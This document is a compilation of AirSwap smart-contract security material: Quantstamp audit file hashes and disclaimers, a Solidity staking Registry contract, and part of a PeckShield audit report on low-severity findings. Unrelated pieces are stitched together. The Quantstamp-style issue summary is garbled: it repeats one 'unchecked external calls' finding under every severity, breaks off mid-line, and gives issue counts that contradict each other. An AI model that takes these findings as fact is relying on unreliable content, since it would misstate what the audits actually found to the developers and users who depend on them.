a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked external calls ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /** * @title AirSwap Registry: Manage and query AirSwap server URLs * @notice https://www.airswap.io/ */ contract Registry { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; IERC20 public immutable stakingToken; uint256 public immutable obligationCost; uint256 public immutable tokenCost; mapping(address => EnumerableSet.AddressSet) internal supportedTokens; mapping(address => EnumerableSet.AddressSet) internal supportingStakers; mapping(address => string) public stakerURLs; event InitialStake(address indexed account); event FullUnstake(address indexed account); event AddTokens(address indexed account, address[] tokens); event RemoveTokens(address indexed account, address[] tokens); event SetURL(address indexed account, string url); /** * @notice Constructor * @param _stakingToken address of token used for staking * @param _obligationCost base amount required to stake * @param _tokenCost amount required to stake per token */ constructor( IERC20 _stakingToken, uint256 _obligationCost, uint256 _tokenCost ) { stakingToken = _stakingToken; obligationCost = _obligationCost; tokenCost = _tokenCost; } /** * @notice Set the URL for a staker * @param _url string value of the URL */ function setURL(string calldata _url) external { stakerURLs[msg.sender] = _url; emit SetURL(msg.sender, _url); } /** * @notice Add tokens supported by the caller * @param tokens array of token addresses */ function addTokens(address[] calldata tokens) external { uint256 length = tokens.length; require(length > 0, "NO_TOKENS_TO_ADD"); EnumerableSet.AddressSet storage tokenList = supportedTokens[msg.sender]; uint256 transferAmount = 0; if (tokenList.length() == 0) { transferAmount = obligationCost; emit InitialStake(msg.sender); } for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(tokenList.add(token), "TOKEN_EXISTS"); supportingStakers[token].add(msg.sender); } transferAmount += tokenCost * length; emit AddTokens(msg.sender, tokens); if (transferAmount > 0) { stakingToken.safeTransferFrom(msg.sender, address(this), transferAmount); } } /** * @notice Remove tokens supported by the caller * @param tokens array of token addresses */ function removeTokens(address[] calldata tokens) external { uint256 length = tokens.length; require(length > 0, "NO_TOKENS_TO_REMOVE"); EnumerableSet.AddressSet storage tokenList = supportedTokens[msg.sender]; for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(tokenList.remove(token), "TOKEN_DOES_NOT_EXIST"); supportingStakers[token].remove(msg.sender); } uint256 transferAmount = tokenCost * length; if (tokenList.length() == 0) { transferAmount += obligationCost; emit FullUnstake(msg.sender); } emit RemoveTokens(msg.sender, tokens); if (transferAmount > 0) { stakingToken.safeTransfer(msg.sender, transferAmount); } } /** * @notice Remove all tokens supported by the caller */ function removeAllTokens() external { EnumerableSet.AddressSet storage supportedTokenList = supportedTokens[ msg.sender ]; uint256 length = supportedTokenList.length(); require(length > 0, "NO_TOKENS_TO_REMOVE"); address[] memory tokenList = new address[](length); for (uint256 i = length; i > 0; ) { i--; address token = supportedTokenList.at(i); tokenList[i] = token; supportedTokenList.remove(token); supportingStakers[token].remove(msg.sender); } uint256 transferAmount = obligationCost + tokenCost * length; emit FullUnstake(msg.sender); emit RemoveTokens(msg.sender, tokenList); if (transferAmount > 0) { stakingToken.safeTransfer(msg.sender, transferAmount); } } /** * @notice Return a list of all server URLs supporting a given token * @param token address of the token * @return urls array of server URLs supporting the token */ function getURLsForToken(address token) external view returns (string[] memory urls) { EnumerableSet.AddressSet storage stakers = supportingStakers[token]; uint256 length = stakers.length(); urls = new string[](length); for (uint256 i = 0; i < length; i++) { urls[i] = stakerURLs[address(stakers.at(i))]; } } /** * @notice Get the URLs for an array of stakers * @param stakers array of staker addresses * @return urls array of server URLs in the same order */ function getURLsForStakers(address[] calldata stakers) external view returns (string[] memory urls) { uint256 stakersLength = stakers.length; urls = new string[](stakersLength); for (uint256 i = 0; i < stakersLength; i++) { urls[i] = stakerURLs[stakers[i]]; } } /** * @notice Return whether a staker supports a given token * @param staker account address used to stake * @param token address of the token * @return true if the staker supports the token */ function supportsToken(address staker, address token) external view returns (bool) { return supportedTokens[staker].contains(token); } /** * @notice Return a list of all supported tokens for a given staker * @param staker account address of the staker * @return tokenList array of all the supported tokens */ function getSupportedTokens(address staker) external view returns (address[] memory tokenList) { EnumerableSet.AddressSet storage tokens = supportedTokens[staker]; uint256 length = tokens.length(); tokenList = new address[](length); for (uint256 i = 0; i < length; i++) { tokenList[i] = tokens.at(i); } } /** * @notice Return a list of all stakers supporting a given token * @param token address of the token * @return stakers array of all stakers that support a given token */ function getStakersForToken(address token) external view returns (address[] memory stakers) { EnumerableSet.AddressSet storage stakerList = supportingStakers[token]; uint256 length = stakerList.length(); stakers = new address[](length); for (uint256 i = 0; i < length; i++) { stakers[i] = stakerList.at(i); } } /** * @notice Return the staking balance of a given staker * @param staker address of the account used to stake * @return balance of the staker account */ function balanceOf(address staker) external view returns (uint256) { uint256 tokenCount = supportedTokens[staker].length(); if (tokenCount == 0) { return 0; } return obligationCost + tokenCost * tokenCount; } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] 